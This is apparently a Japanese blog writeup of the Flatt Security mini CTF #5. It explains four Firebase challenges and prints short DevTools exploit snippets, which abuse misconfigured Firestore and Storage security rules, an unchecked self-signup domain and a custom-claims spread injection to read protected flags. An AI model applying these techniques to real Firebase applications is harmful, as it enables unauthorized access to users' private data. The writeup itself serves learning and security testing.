st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Flatt Security mini CTF #5 writeup

6/17の夜に1時間という短さで開催された。Tsubasaさん作問でFirebaseを題材とした問題が出題されるという事前のアナウンスがあり、実際これらをメインとした4問が出た。4問のいずれもfirst bloodを取り、全完しての優勝だった。

リンク:


はじめに

背景

Flatt Securityが開催する小規模なCTFにはこれまでSpeedrun CTF, Speedrun CTF #2, mini CTF #3と3回参加してきたけれども、いずれも優勝してきた。しかしながら、後ろの2つは1位ではありつつも全問を解くことはできていなかった。mini CTF #5の開催告知を聞いて、枠が余っていたら飛び込みで参加するぐらいの気持ちでいたところ、このCTFの運営に今回もどうかとお誘いいただき、ならば今度こそ全完をという気持ちと、また参加者一覧を見たところ人数も50人強と非常に多く、頻繁にCTFへ参加しているプレイヤーの名前も見られ、この中で勝ってやろうという闘争心から参加を決意した。

mini CTF #3ではAmazon S3やらAmazon CognitoやらAWSをテーマとしていたところ、前述のように今回はFirebaseがテーマであるというアナウンスが事前になされていた。私はこれまでFirebaseには触れたことがなかったけれども、ありがたいことに今回は初心者向けの案内があり、参考となるような公式ドキュメントやFlatt Securityのブログ記事、また手を動かしつつJavaScript SDKの使い方を学べるティザー問題が用意されていた。とはいえ、それらを1周ざっと読むだけでは勝てない。そういうわけで、前日の夜に対策を始めた。

対策

Firebaseについては右も左も分からない。本番でも参照できるようにNotionでチートシート的なものを作りつつ、色々なドキュメントを読むことにした。

事前資料で参照されている公式ドキュメントはCloud Firestore, Firebase Authentication, Cloud Storage for Firebase, Cloud Functions for Firebaseの4サービスであったことから、これらについて公式ドキュメントから概要を把握し、Zennやら個人ブログの記事やらを参照しつつ実際にこれらを使って開発されたアプリのソースコードを読み、雰囲気を掴んだ。

ではFirebaseが使われているアプリにはどういったセキュリティ上の問題が発生しうるか。これは(事前資料でも言及されていた)Flatt Securityのブログで公開されているFirebaseの記事を読んで学習した。また、1時間という短さであることから、複雑だったり、Firebaseの細かい仕様を知っている必要があったりする問題は出題されないだろうと踏み、ならば特にそれらの記事で言及されている脆弱性が出る可能性が高いだろうと、その原理や発生条件、攻撃手法の理解に努めた。

CTFではただ脆弱性を見つけるだけでなく、それを悪用してフラグを盗み出す必要がある。なんとなく脆弱性と攻撃手法について知っているだけではダメで、武器としてそれらを実際に使えるところまで持っていく必要がある。さすがに攻撃手法ごとにコードを用意しておくことはできないが、攻撃に必要なAPIを列挙しておけば(せめてどこを参照すべきか把握しておけば)、CTF中に「攻撃をしたいが具体的なやり方がわからない」という状況に陥ることはなかろうと考えた。JavaScript SDKの使い方の学習も兼ねて、以下のように各インタフェースの持つメソッド等を確認しつつ、チートシート的にリンク集を作った。

FirestoreやCloud Storageでは、セキュリティルールという仕組みでリソースへのアクセスを制限できるようになっている。これが曲者で、シンプルな文法に見えるが、仕様を理解していなければ脆弱性を作り込みがちに見えたことから、またそのためにCTFでもこれを主軸としそうだと考えたことから、重点的に学んだ。Flatt Securityが公開しているセキュリティルールについての記事を読み、記事中で最終的に出来上がった堅牢なセキュリティルールも参考にしつつ、逆説的に何が足りないとマズいかをまとめ、本番でどこを見るべきかチートシートから確認できるようにした。

ほか、各問題の初動に使えるよう、DevToolsからFirebaseのJavaScript SDKを使えるようにするスニペットをメモしておいた。

(async () => {
  const load = (url) =>
    new Promise((resolve) => {
      const script = document.createElement("script");
      script.setAttribute("src", url);
      script.onload = resolve;
      document.body.appendChild(script);
    });

  await load("https://www.gstatic.com/firebasejs/8.10.1/firebase.js");
})();
// 引数はフロントエンドのfirebase.tsから持ってくる
const firebaseApp = firebase.initializeApp({});

const firestore = firebaseApp.firestore();
const auth = firebaseApp.auth();
const functions = firebaseApp.functions();
const storage = firebaseApp.storage();

対策は以上。時間があれば自分でFirebaseを使ったアプリを作ったり、それに脆弱性を作り込んで自分で攻撃をしてみたりもしたかった。ほぼ座学であまり手を動かしていないことに懸念があったものの、対策を始めたのが前日夜ということで、翌日に響かない*1ようにするのがより重要だと考え、諦めて寝た。

当日

会場*2に着いてスコアサーバへ登録し、まずルール等を確認した。配布されるファイルの構成についても言及されており、いずれの問題も次のようになっているということだった。ここから、各問題でまずやることは add-flag.js から問題の目的の確認、firestore.rulesstorage.rules からはリソースへのアクセス時に存在する制約の確認、それからAPIキーを使って問題サーバ上でDevToolsからJavaScript SDKを利用可能にすることであると考えた。こうして準備を終え、競技に臨んだ。

  • frontend/ ... フロントエンドアプリケーション
    • frontend/src/firebase.ts ... API key
  • functions/ ... Cloud Functions 関連の実装
    • functions/src/index.ts ... 関数実装の本体
  • firestore.rules ... Firestore のセキュリティルール
  • storage.rules ... Cloud Storage のセキュリティルール
  • add-flag.js ... フラグの追加方法を示す擬似コード

writeup

[Web 100] Internal (32 solves)

秘密の FLAG を管理するための社内向けアプリケーションを実装してみました。 アカウントは招待制なので登録もログインできないと思いますよ。

添付ファイル: chall-01.zip

与えられたURLにアクセスすると、次のようなログインフォームが表示される。問題文の通りユーザ登録のためのフォームはないし、適当な認証情報を入力してもログインできない。

ソースコードを確認していく。まずFirestoreのセキュリティルールは次の通り。/flags/flag というドキュメントがあるけれども、それを読むには @flatt.example.test で終わるメールアドレスのユーザでログインしている必要があるらしい。

rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    match /flags/flag {
      allow get: if (
        request.auth != null &&

        // メールアドレスのドメインが @flatt.example.test ではない場合は拒否
        request.auth.token.email.matches("^.+@flatt.example.test$")
      );
    }
  }
}

ならば、自己サインアップによって、@flatt.example.test で終わるメールアドレスでユーザを作成すればよい。そんなドメイン名は存在しないが、メールアドレスの検証は行われないし、セキュリティルールでもメールアドレスが検証済みかは確認されていないので勝手に使ってよい。事前にチートシートへ書いていたとおりに createUserWithEmailAndPassword を使って auth.createUserWithEmailAndPassword('nekochan@flatt.example.test','orin kawaii ne') を実行する。無事に登録できたようだ。

Get flag ボタンを押すとフラグが得られた。

flag{b3_c4r3ful_w17h_53lf_516nup}

[Web 100] Posts (17 solves)

秘密にしたい投稿もありますよね。

添付ファイル: chall-02.zip

与えられたURLにアクセスすると、次のようにログインフォームが表示された。ユーザ登録もできるようなので、適当な認証情報を使って登録する。

すると、次のようにメモを投稿できるフォームが表示された。誰からも閲覧できる(Public postsに表示される)ようにするか、あるいは自分だけが閲覧できるようにするか選択してメモを作成できるらしい。

add-flag.js は次のような内容になっていた。admin@flatt.tech というメールアドレスで登録しているユーザ(以降 admin とする)がおり、このユーザは Hello, I'm admin! という挨拶を含むパブリックなメモと、フラグを含むプライベートなメモを作成しているらしい。

(async () => {
  /**
   * REDACTED
   */

  await firebase.auth().createUserWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  await firebase.auth().signInWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  const adminUserId = firebase.auth().currentUser.uid;

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('publicPosts').add({
    name: 'admin@flatt.tech',
    body: "Hello, I'm admin!",
    createdBy: adminUserId,
  });
  await firebase.firestore().collection('privatePosts').doc('0').collection(adminUserId).add({
    name: 'FLAG',
    body: FLAG,
    createdBy: adminUserId,
  });
})();

firestore.rules は次の通り。この問題の目的は admin のプライベートなメモを読むことであるわけだが、対応する /privatePosts/0/{uid}/{postId} のルールを確認してやると、作成時には uid == request.auth.uid と他人になりすましていないかがチェックされているけれども、閲覧時には request.auth != null とログインしているかのみがチェックされているとわかる。他人のプライベートなメモも読むことができるのではないか。

rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    function checkSchema() {
      let incoming = request.resource.data;

      return (
        incoming.keys().hasAll(['name', 'body', 'createdBy']) &&
        incoming.keys().hasOnly(['name', 'body', 'createdBy']) &&
        incoming.name is string &&
        incoming.name != "admin@flatt.tech" &&
        incoming.body is string &&
        incoming.body.size() >= 1 &&
        incoming.createdBy is string &&
        incoming.createdBy == request.auth.uid
      );
    }

    match /publicPosts/{postId} {
      allow read: if (
        request.auth != null
      );

      allow create: if (
        request.auth != null &&
        checkSchema()
      );
    }

    match /privatePosts/0/{uid}/{postId} {
      allow read: if (
        request.auth != null
      );

      allow create: if (
        request.auth != null &&
        checkSchema() &&
        uid == request.auth.uid
      );
    }
  }
}

他人のプライベートなメモを閲覧するには、その uid を特定しなければならない。では adminuid はどうやって特定すればよいか。admin がパブリックなメモを作成していたことに着目する。対応するドキュメントの createdByadminuid が入っているようなので、これを読み出したい。

  const adminUserId = firebase.auth().currentUser.uid;

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('publicPosts').add({
    name: 'admin@flatt.tech',
    body: "Hello, I'm admin!",
    createdBy: adminUserId,
  });

次のコードをDevToolsで実行すると、{createdBy: 'e3rd5IxFaOeTb6yFGsA2IRFEw9V2', body: "Hello, I'm admin!", name: 'admin@flatt.tech'} と返ってきた。なるほど、adminuide3rd5IxFaOeTb6yFGsA2IRFEw9V2 らしい。

const snapshot = await firestore.collection('publicPosts').get();
console.log(snapshot.docs.map(x => x.data()).filter(x => x.name === 'admin@flatt.tech')[0]);

特定した adminuid を使ってプライベートなメモを読み取る。{createdBy: 'e3rd5IxFaOeTb6yFGsA2IRFEw9V2', body: 'flag{pl5_ch3ck_r3qu357_4u7h_u1d_pr0p3rly}', name: 'FLAG'} と返ってきてフラグが得られた。

const snapshot = await firestore.collection('privatePosts/0/e3rd5IxFaOeTb6yFGsA2IRFEw9V2').get();
console.log(snapshot.docs.map(x => x.data())[0]);
flag{pl5_ch3ck_r3qu357_4u7h_u1d_pr0p3rly}

[Web 100] Flatt Clicker (8 solves)

たくさんクリックしましょう

添付ファイル: chall-03.zip

与えられたURLにアクセスすると、次のようにログインフォームが表示された。ユーザ登録もできるようなので、適当な認証情報を使って登録する。

ログイン後、次のようにFlatt Securityのロゴが表示された。クッキークリッカー的なアプリのようだ。CHECK CURRENT CLICKS をクリックすると、これまでにロゴをクリックした回数が表示される。CHECK MY TIER をクリックすると、"Your tier is BRONZE" のように、これまでのクリック回数に基づいたティアが表示される。

add-flag.js は次の通り。Firestoreの /flags/flag というドキュメントにフラグが含まれているようだ。

(async () => {
  /**
   * REDACTED
   */

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('flags').doc('flag').set({
    flag: FLAG,
  });
})();

firestore.rules は次の通り。まず /flags/flag を見ていくが、どうやら先ほど言及したティアが HACKER になれば閲覧できるらしい。もう一方の、ユーザ情報が含まれていると思われる /users/{uid} だけれども、どうやら clicks としてクリック回数が格納されているようだ。ユーザから直接その情報を更新できるようになっているけれども、更新対象のユーザが自分自身であること、また clicks が更新後のデータに含まれており、かつそれが整数で現在のクリック回数に1足した値であるかチェックがされている。clicks を一気に 9876543210 のような大きな値に変えることはできないようだ。

rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{uid} {
      allow get: if (
        request.auth != null &&
        request.auth.uid == uid
      );

      allow update: if (
        request.auth != null &&
        request.auth.uid == uid &&
        request.resource.data.keys().hasAll(['clicks']) &&
        request.resource.data.clicks is int &&
        request.resource.data.clicks == resource.data.clicks + 1
      );
    }


    match /flags/flag {
      allow get: if (
        request.auth != null &&
        request.auth.token.tier == 'HACKER'
      );
    }
  }
}

今回はCloud Functionsも使われている。functions/src/index.ts のうち重要そうな部分は次の通り。Firestoreにおいて /users/{userId} の更新があった際に呼び出される関数を定義している。クリック数に基づいてティアを更新しているようだ。このティアは各ユーザのカスタムクレームとして格納されている。

カスタムクレームにはクリック数もついでに含めているようだけれども、よく見ると { tier, ...data }スプレッド構文によって実現されている。もしデータに tier というプロパティを含ませることができれば、カスタムクレームに設定される tier の値を置き換えることができるのではないか。

export const updateTier = functions
  .firestore
  .document("/users/{userId}")
  .onUpdate(async (change, ctx) => {
    const data = change.after.data();
    try {
      let tier;

      if (data.clicks < 10) {
        tier = "BRONZE";
      } else if (data.clicks < 100) {
        tier = "SILVER";
      } else if (data.clicks < 3133333337) {
        tier = "GOLD";
      } else {
        tier = "HACKER";
      }

      await getAuth().setCustomUserClaims(ctx.params.userId, {
        tier,
        ...data,
      });

      return "OK";
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
  });

セキュリティルールでは、ユーザ情報の更新時に request.resource.data.keys().hasAll(['clicks']) によって clicks が含まれているかは確認されていたものの、hasOnly によって clicks しか含まれないことは確認されていなかった。つまり、clicks には正しい値を入れつつも、あわせて tier として HACKER という文字列を含ませることで、ティアを HACKER に変更できるのではないか。

DevToolsを開く。次のコードを実行すると、フラグが得られた。

const doc = firestore.collection('users').doc(auth.currentUser.uid);
await doc.set({clicks:(await doc.get()).data().clicks + 1, tier:'HACKER'});
// (CHECK MY TIERをクリックし、IDトークンを更新する)
console.log((await firestore.collection('flags').doc('flag').get()).data());
flag{m455_m455_m455_45516nm3n7}

[Web 100] NoteExporter (1 solves)

大事なデータは Cloud Storage にエクスポートすると安心!

添付ファイル: chall-04.zip

与えられたURLにアクセスすると、次のようにログインフォームが表示された。ユーザ登録もできるようなので、適当な認証情報を使って登録する。

ログイン後、次のようにメモを投稿できるフォームが表示された。

適当なメモを投稿すると、それをエクスポートできるようになる。EXPORT ボタンを押すとCloud StorageにJSONがエクスポートされ、「ファイルを開く」ボタンを押すことで作成したメモをファイルとして保存できた。

add-flag.js は次の通り。admin が作成したメモにフラグが含まれているらしい。

(async () => {
  /**
   * REDACTED
   */

  await firebase.auth().createUserWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  await firebase.auth().signInWithEmailAndPassword('admin@flatt.tech', '<REDACTED>');
  const adminUserId = firebase.auth().currentUser.uid;

  const FLAG = "<REDACTED>"
  await firebase.firestore().collection('users').doc(adminUserId).collection('notes').add({
    note: FLAG,
  });
})();

firestore.rules は次の通り。各ノートの閲覧や作成はログインしているユーザ本人のものに限られる。このほかにも /logs/{logId} というドキュメントがあるらしいが、パスからは用途が読み取れないので、後でソースコードから確認したい。

rules_version = '2';

service cloud.firestore {
  match /databases/{database}/documents {
    match /users/{userId} {
      allow read: if (
        request.auth != null
      );

      match /notes/{noteId} {
        allow read: if (
          request.auth != null &&
          request.auth.uid == userId
        );

        allow create: if (
          request.auth != null &&
          request.auth.uid == userId &&
          request.resource.data.note is string &&
          request.resource.data.note.size() >= 1
        );
      }
    }

    match /logs/{logId} {
      allow read: if (
        request.auth != null
      );
    }
  }
}

今回はCloud Storageも使われているけれども、そのセキュリティルールである security.rules は次の通り。エクスポートされたJSONへアクセスできる条件は /exports/{userId}/{fileName} からわかる。ログイン済みのユーザの uid が、そのパスに含まれる uid か、もしくはそのオブジェクトのメタデータに含まれている allowedUserId と一致していなければ閲覧できないらしい。後者は admin であればどのユーザのファイルでも読めるようにする、みたいな用途だろう。書き込みはCloud Functionsからしかできない(つまり、ユーザが直接書き込むことはできない)とされている。

/exports/{free=**} では非常にゆるい条件で書き込めるようになっている。エクスポートされたJSONのパスは /exports/LvPQl84ttkSlSOVFkAcIRyqBG4K2/ad389349-01a5-4d6b-8e88-1e8a97803b92.json というようなものであり、バッティングしそうだ。

競技前日に、あるパスが複数の match ステートメントにマッチする場合の挙動について予習していた。いずれか一つでも許可されていれば、たとえほかに許可しないとするルールがあったとしても、それを無視してアクセスが許可されてしまう。つまり、/exports/{userId}/{fileName} に対して設定されていた allow write: if false; は意味を持たない。明らかに怪しい記述だが、何に活かせるかはわからないため、一旦置いておく。

rules_version = '2';

service firebase.storage {
  match /b/{bucket}/o {
    match /exports/{userId}/{fileName} {
      allow get: if (
        request.auth != null &&
        (
          request.auth.uid == userId ||
          request.auth.uid == resource.metadata.allowedUserId
        )
      );

      // MEMO: 各ユーザーのフォルダは Cloud Functions からしか書き込めないないようにしておく
      allow write: if false;
    }

    // MEMO: それ以外のフォルダは将来的な機能拡張のために書き込めるようにしておく
    match /exports/{free=**} {
      allow write: if (
        request.auth != null &&
        request.resource.size < 5 * 1024
      );
    }
  }
}

このアプリの特徴的な機能であるメモのエクスポート機能について、そのコードを見ていく。これはFirebase Functionsで実装されているけれども、対応する箇所は次の通り。functions.https.onCall ということでユーザから直接呼び出された(つまり、EXPORT ボタンをクリックした)場合の処理だ。

ユーザから受け取ったFirestoreのパスについて、対応するドキュメントをJSONとしてCloud Storageに保存している。先ほど言及していた allowedUserId には adminuid が入っていた。さて、ここでエクスポートするFirestoreのパスに含まれる uid が、現在ログインしているユーザのものと一致しているかは確認されていない。つまり、ほかのユーザのメモも勝手にエクスポートできてしまうし、エクスポート先のCloud Storageのパスも得られてしまう。もっとも、セキュリティルールでその閲覧は制限されているわけだが。

export const exportNote = functions
  .https
  .onCall(async (data, ctx) => {
    try {
      if (!ctx.auth) {
        throw new functions.auth.HttpsError("permission-denied", "error");
      }

      const doc = await getFirestore().doc(data.path).get();
      const docData = doc.data();

      if (docData === undefined) {
        throw new functions.auth.HttpsError("unavailable", "error");
      }

      const bucket = getStorage().bucket();
      const userId = doc.ref.path.split("/")[1];
      const storagePath = `exports/${userId}/${uuidv4()}.json`;
      await bucket.file(storagePath).save(JSON.stringify(docData));

      const adminUserId = (
        await getAuth().getUserByEmail("admin@flatt.tech")
      ).uid;
      await bucket.file(storagePath).setMetadata({
        metadata: {
          allowedUserId: adminUserId,
        },
      });

      return {
        storagePath,
      };
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
  });

気になっていた /logs/{logId} 周りの処理は次の通り。メモが追加された際に実行されるようだけれども、どうやら作成されたメモのパスが乗っているようだ。これで admin が投稿した、フラグの含まれるメモのパスが得られるのではないか。

export const createLog = functions
  .region("asia-northeast1")
  .firestore
  .document("users/{userId}/notes/{noteId}")
  .onCreate(async (snapshot) => {
    try {
      await getFirestore().collection("logs").add({
        path: snapshot.ref.path,
        createdAt: new Date().toISOString(),
      });
    } catch (e) {
      functions.logger.error(e);
      throw new functions.auth.HttpsError("unavailable", String(e));
    }
  });

DevToolsを開く。次のようなコードを実行して、もっとも古いメモのパスを探す。これで users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBradmin によって作成されたメモであるとわかった。

const logs = (await firestore.collection('logs').get()).docs.map(doc => doc.data());
console.log(logs.sort((x, y) => new Date(x.createdAt) - new Date(y.createdAt))[0]);

次のようにして、強引に admin が作成したメモをエクスポートさせる。このメモのJSONが保存されているCloud Storageのパスは取得できた。

console.log(await functions.httpsCallable('exportNote')({path: 'users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr'}));

では、どのようにしてエクスポートされたメモを閲覧するか。admin であればどのメモも閲覧できるように、各オブジェクトには allowedUserId というメタデータが設定されていたのだった。これを自分の uid に書き換えることはできないか。そういえば、セキュリティルールの穴のために、このようなJSONに対しても write は可能なのだった。できるのではないか

公式ドキュメントでそれっぽいメソッドがないか探していると、updateMetadataが見つかった。次のコードを実行する*3。200が返ってきており、無事に成功したことがわかる。

const uid = auth.currentUser.uid;
const ref = storage.ref('exports/6W7jG2C619g4BQggdofcIR2OKZv2/a6652e8d-d904-46c5-aaa9-5f49a8acd625.json');
await ref.updateMetadata({customMetadata: {allowedUserId: uid}});

では、このJSONをダウンロードしよう。window.open(await ref.getDownloadURL()) でフラグが得られた。

flag{7h4nk_y0u_f0r_pl4y1n6!!!}

*1:ここで「響かせない」対象は仕事である

*2:Flatt Securityが☝️GMOグループ入り☝️したということで、今回の会場は渋谷フクラスのGMO Yoursなる場所だった。渋谷には今回初めて行ったけれども、人は多いわ地上も地下も迷路のようだわ、どうしても行かなければならないという用事でもない限り渋谷には行くまいと誓った。私の中では池袋や新宿も同じカテゴリに入っている

*3:なお、競技中はcustomMetadataというプロパティにオブジェクトを入れる必要があることになかなか気づかず、200は返ってきているのになぜメタデータは更新されないのかと悩んでいた。冷静に「"updatemetadata" custom metadata javascript」のようなクエリで検索して使用例を探し、事なきを得る。競技終了まで3分を切っての解答だった